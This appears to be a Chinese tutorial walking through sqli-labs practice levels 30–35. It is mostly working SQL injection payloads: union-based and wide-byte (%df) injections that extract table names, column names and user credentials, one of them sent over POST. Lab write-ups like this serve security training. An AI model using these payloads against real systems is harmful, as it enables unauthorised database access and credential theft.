sqlilabs第三十关到第三十五关靶场攻略

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

复制代码
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+

第三十一关

查询数据库名

查询表名

复制代码
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

普通的联合注入( 如果不行,可以尝试一下?id=1&id=-1") )

照正常流程走就好了

第三十二关(宽字节注入)

在1后面加%df让他成为一个字符

复制代码
?id=-1%df' union select 1,2,database()--+

后面还是联合查询一样的流程

第三十三关

跟三十二一样都是宽字节注入\

复制代码
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
复制代码
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

第三十四关

这关还是宽字节注入,可以到是POST提交

我们到bp重放器进行注入

复制代码
admin%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #

继续联合注入就行

第三十五关

数字型的宽字节注入但是这关不需要%df

直接联合注入就拿下这关

复制代码
?id=-1 union select 1,2,database()--+
复制代码
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() #
复制代码
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x7573657273 #
相关推荐
l1t2 分钟前
DeepSeek总结的Open DUMP Viewer for Oracle发版说明
数据库·oracle
程序员雷欧2 分钟前
Redis基础知识全解析:从数据结构到生产实战
数据结构·数据库·redis
21439654 分钟前
Redis如何解决哨兵通知延迟问题_优化客户端连接池动态刷新拓扑的订阅监听机制
jvm·数据库·python
川石课堂软件测试6 分钟前
requests接口自动化测试
数据库·python·功能测试·测试工具·单元测试·grafana·prometheus
瀚高PG实验室8 分钟前
瀚高数据库安全版4.5.8系列使用pg_cron定时任务
服务器·数据库·瀚高数据库
2401_871696528 分钟前
HTML5中Canvas局部刷新区域重绘的算法优化
jvm·数据库·python
CodeMartain11 分钟前
MongoDB--Spring
数据库·mongodb·spring
数字孪生进化论18 分钟前
数据集成实战|从零到一,把物联网数据接入数字孪生IOC需要几步?
数据库·物联网
野生技术架构师19 分钟前
从两套系统到一条 SQL:SelectDB search() 搞定日志的搜索与分析
数据库·sql
2301_7775993719 分钟前
CSS如何制作卡片翻转效果_利用backface-visibility与动画
jvm·数据库·python